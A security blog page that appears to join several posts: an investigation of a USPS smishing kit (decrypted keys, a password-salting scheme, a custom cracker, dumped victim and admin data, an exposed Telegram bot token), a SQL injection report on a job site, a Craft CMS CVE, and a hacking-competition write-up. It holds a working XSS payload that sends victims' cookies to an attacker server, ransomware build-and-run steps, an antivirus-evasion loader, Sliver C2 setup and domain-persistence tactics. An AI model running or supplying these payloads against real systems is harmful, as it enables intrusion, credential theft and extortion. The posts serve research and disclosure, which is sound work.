**This is a continuation of my first post (**[**Hacking the Scammers**](https://blog.shared-video.mov/hacking-the-scammers)**) and if you have not read that then I highly suggest doing so before hand.** In this post we will be covering: * Attribution of the group behind all these annoying USPS scam texts * Reversing techniques for obfuscated PHP * Custom password cracking * Backdoored smishing kits * and more... **If your looking for just IOCs and data dumps you can skip to the end. The read is worth it though so please consider sticking around :)** Looking back on just last week I never thought this is where we would be, and we are not even done. This investigation is just going deeper and deeper and I have been getting more and more information from hacking these scammers, but also from you. I can't do this alone and I need people like you to help me on this. It's as simple as copy and pasting the URL you received in that scam text message into [My Site](https://report.smithsecurity.biz/) (now down since this particular campaign is over). Now where did we leave off last week? Ah, I remember. We had just gotten access into the scammers MySQL database through SQL injection and had been able to grab files with the Local File Inclusion vulnerability. Awesome stuff right? Well, yes it is. But this was just in one site. As it turns out this is a kit being sold. That telegram chat linked in one of the dumps I posted last week is the creator of this kit. Turns out that he is linked in each database by default.

Smishing Kit Creator (Wang Duo Yu)

After chatting with this individual I was able to gain some insight into who they are and what this kit is. The creator is a current computer science student in China who is using the skills he's learning to make a pretty penny on the side. How much does this kit cost you may ask if hes making such a shiny and pretty penny? Well, it is 200 USDC (US Dollar Coin) a month, so $200 USD. Personally I think that this is a little expensive for some cloned pages and a site shoddily developed in PHP. Speaking of the development behind this why don't we take a look at the kit itself. Shoot, I don't have $200 to spend to get it. This was were I was going to give up but as I was googling around I found another article mentioning this Wangduoyu character. This blog is from a wonderful company RESecurity. They have [two blog posts](https://www.resecurity.com/blog/article/smishing-triad-targeted-usps-and-us-citizens-for-data-theft) up on their site about the "Smishing Triad" and cover more about this group than I will in this blog. They had also used SQL injection in order to get access to the admin and victim data. Now, Wang (WDY) saw this blog post from RESecurity it seems like and had since upgraded to encrypting almost all data in the database. This was a good move on his part and almost stopped me. That was until I reached out to RESecurity and got the kit they had purchased as part of their research. Luckily for me they had the most up-to-date kit with all the same encryption and hashing being used. Unfortunately it would be a little harder than expected to reverse engineer what encryption was being used as it was almost impossible to do any static reversing on this obfuscated PHP that was running on the sites. I mean look at this junk:

Obfuscated PHP

But having this full kit that I could setup and run allowed me to go through and try to figure out dynamically what was happening. First I tried adding to the pages to print certain variables. This actually broke stuff because the obfuscation is using introspection at some points making it so that adding anything to the files would just break stuff. Now my buddy Chris had been interested in what I was doing after reading my last blog post and I mentioned this issue to him. He then suggested I try using eval hooking to deobfuscate what is being executed. I had never heard of it before but it sounded promising. After messing around a bit I found [this repo](https://github.com/extremecoders-re/php-eval-hook/tree/master) that actually worked really well. Now whenever eval was executed I could see what was being executed and also manipulate it. This allowed me to get global variables at certain points throughout and also see how they were being used. My first discovery was how the usernames were being encrypted for storage in the database.

Deobfuscated Evals

As you can see from my comments on three of the lines I was able to grab the values being set in those spots. As you might have already guessed from looking at the photo, the usernames are encrypted with AES-128-CBC using key `wdy666666` and IV `aes128wangduoyu8.` Amazing, we now can read the usernames for the admin users! Using a simple PHP script I wrote up we can take a look. ```php ```

Decrypted username

Up next I of course wanted to get the password hashing method using. Looking at the data admin tables the password seems to be MD5, and it is, but it is salted and also triple hashed. Strange, but I mean it wont work in hashcat by default. From dynamically reversing using the hooked eval function I was able to get figure out how this worked. Here are the steps for how passwords are stored: 1. Takes user input in and adds `wangduoyu666!.+-` to end of input 2. MD5 hashes the string three times Leave it up to a scamming kit creator to be a little narcissistic. Now with this knowledge I could crack passwords, not with hashcat or john though, I would need to create a custom cracking tool, and [I did just that](https://github.com/gsmith257-cyber/Smishing-Triad/blob/main/cracker.go). This simple go script goes through and uses a wordlist to try to crack the hashes, it also uses some static rules to help get more out of it. I used this, in combo with the [Kaonashi wordlist](https://github.com/kaonashi-passwords/Kaonashi/tree/master) to [crack over 70 of the hashes](https://github.com/gsmith257-cyber/Smishing-Triad/blob/main/cracked-passwords.txt) used in the admin tables. Now, armed with some of these usernames and passwords I could login to one of the sites exposed admin panels, simply located at `/admin`. Even scammers can't follow directions it seems as in the setup instructions it says to change the endpoint to something else and/or use IP whitelisting.

Admin login panel

Now this panel is simple, just a enter a username, password, and answer a captcha and we are in. Once logged in we are presented with a pleasant looking dashboard displaying their stats.

Admin panel logged in

Theres a few other tabs around the site and so I wandered over to them to see what was up there. One was simply settings/config, the other was the admin users management, and the last was the victim data. Now, the victim data did not have all the data collected in it and some groups seem to be exporting the data off and deleting it from the dashboard, which is a good idea because the dashboard is backdoored by the creator, which I will get to later.

Victim Dashboard

Now, from this dashboard we can see the domains they are using and all the victim data still present in the SQL database. Unfortunately I can only get access to this fancy dashboard in misconfigured kits. If only there was a way to grab this data from exposed endpoints that. Oh wait. There is. While I won't post which endpoints are exposed and how you can gather this data from them I will say that I was able to dump over 22,000 unique victim records, as well as the configuration for the panels, and the domains being used all through using this API of sorts. I ended up creating a script to login using cracked passwords to each site the passwords worked on and then dump the data for me to CSV files because there was so much.
All these victim records have been passed onto Troy Hunt and should be entered into [HaveIBeenPwned](https://haveibeenpwned.com/) in the coming weeks. Here is all the data collected on victims: ``` id,card_alpha2,zip,card_name,card_number,card_date,cvv,phone,email,country,state,birthday,city,address1,address2,ip,card_scheme,card_country,card_type,card_brand,card_bank,card_bank_url,card_bank_phone,creat_time,status,otp,is_highlight,live,process,user_agent,return_url ``` Quite a lot of personal info there, enough for scammers to use your card anywhere, even PayPal. Now with the basics of what is happening covered I wanted to go over some things I discovered while exploiting and reversing this kit. ### Backdoored Kits You can never trust a scammer ever and even these scammers are getting scammed it seems. The creator of the kit highly obfuscated these files so people couldn't steal his kit but also to hide the fact that whenever a admin user logs in it send their info (token, user type, etc.) to his private server (which is hard coded to the kits). This allows him to just login as those people whenever he pleases and he probably doesn't use this for maintenance. It seems as if he is double dipping, getting paid to make the kit as well as getting to take other scammers collected card info.

The url that logins get sent to

I originally noticed this IP when I was trying to activate the kit I had setup and it was sending a similar request to the same server but to the activate.php endpoint. I then saw it again when deobfuscating the login.php file and noticed it sending back that data.

Using eval hooking to get variable data

decoding some of the data

### User Agent Recognition This is pretty simple but some of the sites would check user agents to confirm that the visitor was an iOS device. To bypass this it was as simple as adding a match and replace option in Burp Suite but it did cause my tools a bit of a hassle at first before I realized what I was missing.

Fake 404 Not Found page that is loaded when the user-agent is not related to an IOS device (on some of the sites)

### Managing their Servers The scammers obviously need a proper interface to manager their sites. I mean SSH just wont do it for them, or they just don't know how to use it (and judging from their passwords most of them don't work in IT). The scammers are pointed to use a program called [BT-Panel](https://bt5.me/) to setup their servers. It allows them to manage their MySQL database, their website, and more. It runs on port 8888 and most servers I saw had this port open but it does use a random 6 character string as its login page so you would have to brute force find that for each site and then have the username and password to get in.
### Copy Cat Campaign While researching some of the URLs that were sent in I found that there was a minority that seemed exactly like the current "Smishing Triad" USPS campaign but their requests and backend seem to be a lot different. It even seems as though someone copied all the front end aspects of the kit and then recreated the backend because they didn't want to pay the monthly fee.

Looks exactly the same

Different endoints and 404 for endpoints that the "Smishing Triad" would have been using

These copy cat sites didn't have many glaring issues and I was already focused on the Smishing Triad campaign so didn't dig in too much but they do load a config file that contains telegram chat IDs if they configured it. Heres one for usps.authpostbase.com: 
var url={
    //设置你的java后台域名，结尾不要带/
    "serviceURL":"https://hd.1-admin.top",
    //防红开关，设置为0可以优化访问速度，不再限制地区访问次数等，只有剩核心动态防红，对整体防红影响不大
    "redSwitch":0,
    //设置每个ip最大访问次数，每个页面刷新算一次，同步建议设置不超过15，次数过多容易红
    "Visits":15,
    //设置可以访问的地区，US：美国，CN：中国，HK：香港
    "country":"US,CN",
    //设置屏蔽卡头，格式为卡号前6位："411770,440393,498000"
    "notCardNumber":"******,******,******",
    //1 为服务器查询访问地区，服务器被墙可能不可用，无法加载页面，可尝试修改成2
    "config":2,
    //设置跳转地址
    "CPCurl":"https://www.usps.com",
    //设置你的TG机器人API和chat_id，开启tg同步上鱼
    "TGAPI":"5658141169:AAGh7DwLD4vjMM8rHP22vgZIYkdQmfjiiik",
    "TGchat_id":"1707284600",
    //是否同步 0否 1是
    "isTB":"0",
    //设置普通鱼屏蔽指定头，不影响提交数据
    "notCardNumber02":"440393,434256,522094,411773,410039,434257,434258,434769,420767,434769,400022,414720,440066,601100"
}
### The WDY C2 Server Wang seems to be using this server to control all activations and also monitor/access peoples panels. Because the IP is hardcoded if this IP was taken down it was cause a bit of a hassle to the group but he could always change it and push out an updated kit to the subscribers. It would have a treasure trove of information though and would also have access to each other panel out there. The IP is also registered to a domain that is obviously his: `wangduofish.com` Here are the endpoints I was able to find for his site: ``` /php: app [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 66ms] index [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 63ms] user [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 64ms] user.php [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 87ms] . [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 62ms] active.php [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 70ms] userinfo.php [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 66ms] admin [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 58ms] config [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 68ms] config.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 62ms] . [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 65ms] database.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 75ms] class [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 79ms] ``` ### Service URLs Each site would communicate all data back to another domain, usually on the same server, which was named the Service URL. This was where all the PHP endpoints were as well as all admin panel related endpoints, and even the dashboard itself. [Here are](https://github.com/gsmith257-cyber/Smishing-Triad/blob/main/URLsToServiceURLs) the URLs I collected and which service URLs each points to. ### Gathering Data Gathering data was an interesting part in all this, and still continues to be. While I did get a lot of great data from the report.smithsecurity.biz website, I got most URLs from Reddit and people posting screenshots of their texts in r/scam and r/usps. Searching through for things like "USPS text" and sorting by newest gave me tons of great information. Though most of the domains posted led back to some of the big few service URLs so not too much new data there. ### Default Passwords It seems even criminals have problems with this (we're all human I guess). The default creds for the admin panel are 'admin' and '123456'. First of all this is super dumb to have default creds, second of all could you pick a worse password?, lastly each scammer had at least one admin for the most part set it to something like '123123' or '123321'. What are these passwords people? ### Up Next From here we are going to gather more data and myself, along with some other volunteers, will be sifting through looking for patterns, attribution, and more. Along with this I will be sending in a report to the US Postal Inspector with all the details here and more so they can have a chat with some of these scammers in the near future. ## Data Dumps * [Data on each of the service URLs](https://github.com/gsmith257-cyber/Smishing-Triad/tree/main/Scammer-Site-Details) (total victims, domains used, admin user details) * [Cracked passwords](https://github.com/gsmith257-cyber/Smishing-Triad/blob/main/cracked-passwords.txt) * [Site admin hashes](https://github.com/gsmith257-cyber/Smishing-Triad/blob/main/hashes.txt) * [All data dumped with the SQL injection](https://github.com/gsmith257-cyber/Smishing-Triad/tree/main/Site-data-from-sqli) (admin tables, configs, etc.) # SQL Injection in Security Cleared Job Site Error-Based SQL Injection in Security Cleared Job Site A few months back I was on a security cleared job site, one of the top two, and found an interesting endpoint when just using the site as normal. This was a PHP endpoint that when a semi-colon was entered had a very verbose error. How interesting...

The verbose error returned

Now looking at this we can see that it is surprisingly simple to inject into this query. In order to prove that this was a vulnerability before submitting it to the site maintainers I used the verbose errors to show the tables in the database and get a count on users to make sure it was the active database. Here is a snippet of this: ``` Database: [120 tables] +-------------------------------------+ | jb_404_page_manager | | jb_action_log | | jb_addresses | | jb_admin_users | | jb_agent | | jb_agent_keyword | | jb_api_keys | | jb_api_log | | jb_applicants_activity | | jb_applicants_feedback | | jb_applicants_msg_templates | | jb_applicants_notes | | jb_apply_job_log | | jb_banned_ips | | jb_banners | | jb_bd_access | | jb_bd_log | | jb_bd_services | | jb_bd_services_menu | | jb_bd_users | | jb_billing | | jb_billing_combo | | jb_billing_hidden | | jb_billing_history | | jb_censor | | jb_countries | | jb_coupons | | jb_covers | | jb_decline_reasons | | jb_deleted | | jb_device_tokens | | jb_email_themes | | jb_emails | | jb_employers | | jb_employers_old | | jb_failed_login_attempts | | jb_feed_error_log | | jb_feed_import_session | | jb_feed_xml_base | | jb_feed_xml_mappings | | jb_feed_xml_mappings_values | | jb_form_modifiers | | jb_form_modifiers_files | | jb_job_coordinates | | jb_job_fair | ... ``` Count of users: ``` [x] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(*) FROM jb_users WHERE password IS NOT NULL' [x] [INFO] retrieved: '320461' SELECT COUNT(*) FROM jb_users WHERE password IS NOT NULL: '320461' ``` Wow, over 320k users, all of whom are presumably security cleared professionals. This was a huge security risk and I immediately reached out to the website administrators with my findings. It took a few weeks but eventually got in contact and they remediated the issue. The main impact from this was the exposure of all these security cleared professional's personal and job information, resumes, messages between employers and recruits, internal employer messages and notes on applicants, API keys, password hashes for each user, admin user passwords, and much more. Thankfully this has been patched and won't fall into the hands of any bad actors anytime soon. # XSS Security Policy Bypass Bypassing security policy to exploit cross-site scripting using browser history I recently was doing a pentest and came across a Moodle reflected XSS. This is a simple to exploit XSS but I wanted to demonstrate to the client how an attacker would exploit it and steal cookies remotely if they sent a link to the user. The issue with this idea was the security policy for this site was locked down and I couldn't use a simple payload like: ```javascript ``` Because of this I had to find other ways around the security policy. That's when some social engineering tricks popped into my head. What if we just hijacked something the user won't see and then asked them to do something that triggered the hijacked path? The first thing that popped into my head was the back arrow that we all have in our browser. Could that be hijacked? It turned out yes, it could be pretty easily using some code like [this](https://stackoverflow.com/questions/1462719/javascript-change-the-function-of-the-browsers-back-button): ```javascript (function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/stealingyourhistory"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/stealingyourhistory") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("http://www.programadoresweb.net/"); },0); } }, false); }(window, location)); ``` Now, with the back arrow hijacked we want the user to send their cookies to our attack server when they press the back arrow. This can be done with something like this: ```javascript var encodedCookies = btoa(document.cookie); var targetUrl = 'http:///?cookies=' + encodedCookies; ``` With that we can now combine the two and, adding a little "error" telling the user to go back, we get something like this: ```javascript (function(window, location) { var encodedCookies = btoa(document.cookie); document.write('Error. Please go back a page and retry.'); var targetUrl = 'http:///?cookies=' + encodedCookies; history.replaceState(null, document.title, location.pathname+'#!/stealingyourhistory'); history.pushState(null, document.title, location.pathname); window.addEventListener('popstate', function() { if(location.hash === '#!/stealingyourhistory') { history.replaceState(null, document.title, location.pathname); setTimeout(function(){location.replace(targetUrl);},0); } },false); }(window, location)); ``` Now, I am exploiting the Moodle XSS so my payload looked like this: ```javascript https:///mod/lti/auth.php?redirect_uri=javascript:(function(window,%20location)%20{var%20encodedCookies%20=%20btoa(document.cookie)%3Bdocument.write('Error. Please go back a page and retry.')%3Bvar%20targetUrl%20=%20%27http:///?cookies=%27%20%2B%20encodedCookies%3Bhistory.replaceState(null,%20document.title,%20location.pathname%2B%27%23%21/stealingyourhistory%27)%3Bhistory.pushState(null,%20document.title,%20location.pathname)%3Bwindow.addEventListener(%27popstate%27,%20function()%20{if(location.hash%20===%20%27%23%21/stealingyourhistory%27)%20{history.replaceState(null,%20document.title,%20location.pathname)%3BsetTimeout(function(){location.replace(targetUrl)%3B},0)%3B}},false)%3B}(window,%20location))%3B ``` And now we have successfully gotten around the security policy in a way that demonstrates to the customer the risk associated with this vulnerability. # Craft CMS Unauthenticated SQLi via GraphQL Craft CMS Unauthenticated Blind (time-based) SQL Injection via GraphQL API Endpoint. Craft CMS <= 3.7.31 During a private assessment I discovered a public facing GraphQL endpoint with introspection enabled. After some further digging I found that the majority of the calls could be made without authentication. These calls had a lot of options that seemed to affect the query being done on the database so I decided to play around with a few of the queries. In doing so I discovered that the orderBy argument returns a very verbose error that contains full paths to files a well as the query being executed itself. Because I now could get an insight into what was running on the backend, Craft CMS (Pro or enterprise edition because of the GraphQL endpoint), I could figure out exactly how I wanted to craft the query in order to get some sort of SQL injection. To do this though I needed to escape and write to the query itself. This part took the longest surprisingly because it wasn’t as simple as adding a “ or ‘. After two days of messing about with the queries I found it. Including `` \` `` in the query, basically anywhere seemed to do the trick. And in the end, for the payload, I ended up just doing “``— \\` \n``”. Getting a query to execute now also turned out to be harder than expected and was not, and still is not, as easy as pointing SQLmap at the call and letting it do its thing. Because these are stacked queries and the injection point was injecting into two locations I had to find a way to complete the current query, without errors, and get it to execute the next query without errors. I was able to do this but the last part of the data would always error out, and still does, but the queries are executed before it errors. I was unable to get rid of the now junk data at the end because no MySQL comments worked on all the lines, even multi-line (/\*) comments. I believe this is due to the queries having a bunch of new lines in them and also the fact that the multiline comments couldn’t be closed at the end. Someone smarter than me might manage to find a way to do this though. Because of those blocks I could only manage to get Blind (Time-Based) SQL injection, but this is still very powerful for an attacker and they can still read out of the databases and possibly even get RCE as the default DB user for MySQL in Craft CMS is root, allowing for write access to the system which can be abused by uploading things like PHP webshells. This issue was patched in Craft CMS 3.7.32. POC is located [here](https://github.com/gsmith257-cyber/CVE-2024-37843-POC/). This has been assigned [CVE-2024-37843](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-37843).

The underlined SLEEP(10) being executed causing the response to be be delayed >10 seconds (bottom right)

# MISI Hack the Building 2.0 Hospital Edition Hacking a "hospital" for fun and profit $$$

Participation Trophy

Welcome, or welcome back, its been a while since I have posted but this one will be worth the wait. In this post we will cover what my team and I did to get third place in the Hack the Hospital event. In this we will be covering: * C2 Setup (Sliver) * Malware writing * AV / EDR Evasion * "Ransomeware" writing * Physical attacks (USB Rubber Ducky & Bash Bunny) * Active Directory attacks * Network detection evasion * and more... I hope you are as excited as I am for this! ### C2 Evaluations Before the event started we were informed that the networks, for the most part, would have WLAN access and that we were permitted to setup C2 if we wished. I immediately hopped onto this and went about testing a few C2 frameworks. Over this few day period I tested Havoc, Empire, and Sliver. Havoc was too much in a dev stage to use is what I got out of it, too many errors running it and just didn't feel like a finished product yet, but still is a great tool by all means. Empire was good, but almost all focused on Windows systems, which isn't an issue if you know your target network architecture already but we had only a few hints to go off of and we knew there would be a good number of Linux machines in the environment, so Empire failed on that from for us. Finally came Sliver. Sliver has a lot of amazing features and utilities and is highly customizable for both Linux and Windows, with more features for Windows but that ended up being what we needed. Because of how easy it is to use and the customization options of the framework I decided to use it. ### Sliver C2 Setup I started the setup by creating a Ubuntu droplet with Digital Ocean, just using the cheapest option of 25 GB storage and like 1 core of a CPU. Didn't have to be anything powerful. Once the droplet was started I installed the [optional dependencies for Sliver](https://github.com/BishopFox/sliver/wiki/Getting-Started) and then used the Linux one liner installer from the readme file. Now with the server installed I needed to configure it. To start we need to [enable multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) and add some operators. After doing this I needed to [change the configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files). Can't be having it running default configs, too easy for the blue team to catch. I changed the server configuration, mainly just the mode and port, to the following: ```json { "daemon_mode": true, //changed to true "daemon": { "host": "", "port": 55232 //changed to new random high port }, "logs": { "level": 4, "grpc_unary_payloads": false, "grpc_stream_payloads": false, "tls_key_logger": false }, "jobs": { "multiplayer": null }, "watch_tower": null, "go_proxy": "" } ``` And then started the sliver-server binary again. This time it has no CLI or output, instead we have to connect with the operator profiles we generated before turning on daemon mode. Using the most recent (at the time of writing) version of the [precompiled sliver-client](https://github.com/BishopFox/sliver/releases/tag/v1.5.41) we can import the operator config we generated earlier and then connect to the server from where-ever. No need to ssh in or anything "crazy". Now with the server started and our operators able to connect we need to configure what tools the operators want to be able to use. Sliver has a feature called [the armory](https://github.com/BishopFox/sliver/wiki/Armory) which allows operators to download [BOFs](https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files/) and other tools locally that you might want to run on machines you compromise. This I found was a very useful feature, especially if you are unable to drop into a shell on the machine due to OPSEC concerns. Now the last thing we need to finish setting up in Sliver is the profiles we want to use to generate our shellcode. This is very situational dependent and is also highly customizable. ``` sliver > profiles new -h Command: new ......... Flags: ====== -a, --arch string cpu architecture (default: amd64) -c, --canary string canary domain(s) -d, --debug enable debug features -O, --debug-file string path to debug output -G, --disable-sgn disable shikata ga nai shellcode encoder -n, --dns string dns connection strings -e, --evasion enable evasion features -f, --format string Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe) -h, --help display help -b, --http string http(s) connection strings -X, --key-exchange int wg key-exchange port (default: 1337) -w, --limit-datetime string limit execution to before datetime -x, --limit-domainjoined limit execution to domain joined machines -F, --limit-fileexists string limit execution to hosts with this file in the filesystem -z, --limit-hostname string limit execution to specified hostname -L, --limit-locale string limit execution to hosts that match this locale -y, --limit-username string limit execution to specified username -k, --max-errors int max number of connection errors (default: 1000) -m, --mtls string mtls connection strings -N, --name string implant name -p, --named-pipe string named-pipe connection strings -o, --os string operating system (default: windows) -P, --poll-timeout int long poll request timeout (default: 360) -j, --reconnect int attempt to reconnect every n second(s) (default: 60) -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only) -l, --skip-symbols skip symbol obfuscation -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential) -T, --tcp-comms int wg c2 comms port (default: 8888) -i, --tcp-pivot string tcp-pivot connection strings -I, --template string implant code template (default: sliver) -t, --timeout int command timeout in seconds (default: 60) -g, --wg string wg connection strings Sub Commands: ============= beacon Create a new implant profile (beacon) ``` We opted to go with three profiles. One for Windows x64 session shellcode, another for a Windows x64 beacon, and lastly for a Linux x64 beacon. All of these we used MTLS and called back to our C2 server at diagnostics.microsoftapi.net. Now with these created we could generate our shellcode using the generate command and specify our output as raw. This will take a few seconds, as Sliver shellcode is like 13-15 MB. **NOTE:** When using a custom loader disable shikata ga nai encoder For more Sliver OPSEC notes check our [this blog](https://tishina.in/opsec/sliver-opsec-notes). ### AV / EDR Evasion Once done generating our shellcode we can head over and use a nice and simple tool I built to [XOR the shellcode](https://github.com/gsmith257-cyber/RandomTools/blob/main/xor.c). This is one of the simplest ways we can avoid detection by endpoint protection and anti-virus products. Now with our shellcode XORd we need to get it executed on the target system somehow. That's where our loader comes into play. I tried a few different approaches to this, starting with building my own from scratch. This was a great learning opportunity and I learned some simple tricks for evasion but in the end Windows Defender was catching it most times, even statically. This was because of the pattern of Windows API calls being made inside of the program most likely, like VirtualAlloc followed by WriteProcessMemory. Well, at this point I was kinda stumped. I went ahead and reached out to a few coworkers and friends about how I could progress from here and write my own loader, along with a few specific techincal questions. They all gave me great ideas and I actually ended up implementing most of them, one I couldn't (importing into a signed DLL) due to the size of the shellcode, but is something I do want to try out with a smaller payload soon. Now with all of the tips implemented, I built the executable and... IT WORKED! Sessions opened and no detections, even when messing around for a bit with different operations. Here is what I baked into it, ripping some parts from various GitHub repos: * Anti-Debugging/analysis * EDR Unhooking * Obfuscation of Windows API calls * Encrypting Shellcode * Sandbox detection * Loading shellcode as a resource Now [here is the final product](https://github.com/gsmith257-cyber/Hellbreaker). It is not anything novel but it does do its job. After one week of using it, and it being submitted to VT a few times throughout the event, here are the VT results I got: NOTE: Scan with antiscan.me if you are going to continue using the same general codebase. Unfortunately for me, Sliver shellcode is too fat for antiscan.me.

Virus Total results

### Ransomware Writing Now with our loader working as needed we needed a ransomware, as we needed to ransom medical data found on the network to get money (aka points). I decided to quickly write a simple ransomware in Go, using [Rangoware](https://github.com/LuanSilveiraSouza/rangoware) as an outline. Here is [the source](https://github.com/gsmith257-cyber/RandomTools/tree/main/rangoware) and here are the instructions on usage that I wrote into our playbook: *** * Download windows ransomeware: `curl -L https://tinyurl.com/... -o installer.exe` * S1n1st3r has created a go based custom ransomware for the event located in the ransomware folder on the github * Steps: 1. Download the entire `rangoware` directory 2. cd into `encryptor` 3. Compile for Linux with: `go build -o installer -ldflags "-s -w"` 4. Upload the `installer` binary to target system and run from command line: * `chmod +x ./installer` * `./installer ` 5. Once it encrypts the directory it will open port `52343` on the victim machine 6. To decrypt send `UFdORUQ=` to the victim machine * Can use nc for this: `nc 52343` * Then just paste `UFdORUQ=` and hit enter *** We actually never ended up using it sadly but it was nice to actually write something in Go for once. ### Competition Start Now we had reached competition day, or so we thought, and showed up bright and early on Monday... Only to find out the competition starts Tuesday and today was only a training day, and the training doesn't start till 10. We took this time to just get some more work done on our playbook and run through the code we have. We also got to see the setup of the "hospital" and so could start strategizing on what to do. We ended Monday by working on a [Bash Bunny payload](https://github.com/gsmith257-cyber/RandomTools/blob/main/BashBunnyPayload.txt) to deliver our malware with minimal visuals and without dropping it onto the machines disk. I am really proud of what we came up with as it shows up only for 1 second max and it also never drops onto disk and so only can be scanned in memory. ### Physical Attacks Now it was Tuesday. The big start date. We came in and at 8 AM the organizers opened up the networks to use. We started out with a ping sweep to see what devices were up on the network, along with having a member snooping around looking for any information left around the "hospital" area. With our initial results from the ping sweep we were able to identify a machine running an h2-console instance with an RCE vulnerability. Immediately we were in and as a user named sysadmin who had sudo ALL permissions. With that we dropped our Linux Sliver beacon on the machine and proceeded to create a socks5 proxy connection to continue scanning but on the internal staff subnet. Now we had some results on both staff and public networks and our snooper came back with a photo of one of the active directory management dashboards left open that revealed a bunch of internal IPs and allowed us to find even more devices, some we could reach yet from the staff network. After these scans I realized we needed to get access to a domain joined machine or get credentials for an AD account so we can gather data for Bloodhound. This is where I decided to go to hang around the admissions area, where there was a machine with one or two staff sitting at it to check you in for an appointment. After waiting for a good bit eventually they were both distracted enough that I could quickly plug in the Bash Bunny, wait for the finish light and then unplug and leave. Once I got back to my computer I see the beautiful text on the console that a new session was added. :tada: Now we had a domain joined computer (ADMISSIONS1) but unfortunately this user had almost no permissions. We could however look around the machine... And nothing. Also there were no good privilege escalation paths, dang, we would have to go another way. Now I had to go get an appointment so I could get into an exam room without the security (Blue Team) bothering me and kicking me out. Once I got into the room I looked around and there was an active switch, a Raspberry Pi, a nurse workstation computer that had a domain login screen, and a blood pressure machine. I couldn't login to the nurse computer or the Raspberry Pi, and I couldn't get any good data off the blood pressure machine, despite it having default pins to access the management menus, so I did what all hackers would do... I took the Raspberry Pi's SD card and left.

Management panel on the blood pressure machine

This turned out to be a good move because we were able to dump the data off of it and find all the scripts and data being used to transmit over HL7, including a CSV file of patient information. The competition ended at this point, because of a terrible network outage that was caused by someone literally bricking the switches, but we felt good with having all this data... Until we came back the next day and the organizers wanted their SD card back and said we couldn't use the data on it. Damn. Well that was unfortunate. Along with this, once the network was restarted, we had lost all our beacons and persistence, and to make things worse, the Linux machine we had compromised was just gone, poof, dust. Not online anymore, and it never came back. Around the start time on Wednesday we found a note on an open computer with the Staff network password and started poking around it some more, without having to tunnel our traffic over socks5. We used the IPs we had already found and ran some nmap scans, but at least tried to hide them: ```bash nmap -sS -Pn -sV --data "\xCA\xFE\x09" -v -T2 -D ,, ``` We were good running this for that day, with the Blue Team not allowed to use some of the fancy products that vendors had brought in for them to try. We got some information and worked on access some more but eventually hit a wall as we prepped a drop box Raspberry Pi to bridge the air-gaped MEDNET network with us through the STAFF network. During this point I went to try to get some information in another exam room and was able to get RCE on the machine, unfortunately though there wasn't much data and it was on the MEDNET network I couldn't even reach back out to our C2 or other teammates.

RCE on the CARESCAPE B450

Now with some extra data collected from the machine I exited to see all the red teams in flurry of excitement. I ran over to our table to find that a staff member had been overheard on the phone giving credentials for an account and the account had domain administrator privileges. I knew immedietly what to do and took the creds and RDPd into the DC and took a group of disabled accounts and changed their passwords and re-enabled them while giving them DA rights. Right after this someone changed the accounts password so I was glad we had that persistence with the users now. I used it to then drop a beacon on the DC (DC01) and also to do a DCsync so we can grab their hashes and crack/pass them. We also then took a collection of the AD network using [Rusthound](https://github.com/NH-RED-TEAM/RustHound), which had zero detection by Defender while doing it. We proceeded to then go around the network snooping on machines and eventually found an interesting server that had a lot of data on its W: drive. This machine was named HL7SOUPSVR and we figured it was were all the HL7 data was being stored, as well as transmitted out of, as it had the HL7 SOUP app running on it. We dropped a beacon on the machine and installed persistence as the day was ending and we didn't have enough time to transfer 12 GBs of data before we had to go. The next day was Thursday, the last day of the competition. I had checked right as I woke up and was super psyched to see our beacons still all calling back to us. We got in and as we started we took all the HL7 data and ransomed it, we got paid and it put us into 1st place! Woohoo!. We next went about getting some more information throughout the network and then all of a sudden I had my beacon on the DC die. This was random, Defender hadn't caught it, it must have been a Blue Team member seeing the process AnsibleUpdater.exe and thinking it was suspicious. This was bad for us because we had it on a few other machines too, and like clockwork they died one after the other before we could really react. Because of this I went and changed some of the strings and structure of Hellbreaker and recompiled it and renamed it to ciscoedgex.exe because it sounded professional and important, along with the fact I heard the organizers tell the blue team they couldn't mess with the Cisco applications on some machines. This worked throughout the rest of the day, except a few cases were dropping some files that were no bueno and Defender would delete those and then kill the beacon because it was the PPID. This was a hard lesson learned but a good one and I didn't make that mistake again once I caught on to what was happening. Luckily, while we didn't have our beacons on these machines anymore we still had creds and hashes with DA access. That was until the DC went down out of the blue. It remained down for over an hour until it came back up but in a reverted state, with none of our hashes and or creds working anymore, besides machine accounts but they had no remote management rights. We were locked out of the AD network now with no way in and no good attack vectors, at least from the collection I had. We also were starting to get IP banned based on our network traffic at random times and so had to start changing our MAC addresses and rejoining (which we found out after, they had a way to detect and then terminate all TCP connection). We proceeded from here by finishing up working on our drop box in order to get on MEDNET and finally got it working. I booked an appointment and walked in, plugged it into a open Ethernet port on a n exposed switch, placed a IP phone on top of it and made sure I didn't look suspicious. After leaving I came back to our team to see what we could find on the network. We were hoping to see traffic for all of the medical devices or one of these bad boys:

Water Treatment ICS/SCADA system

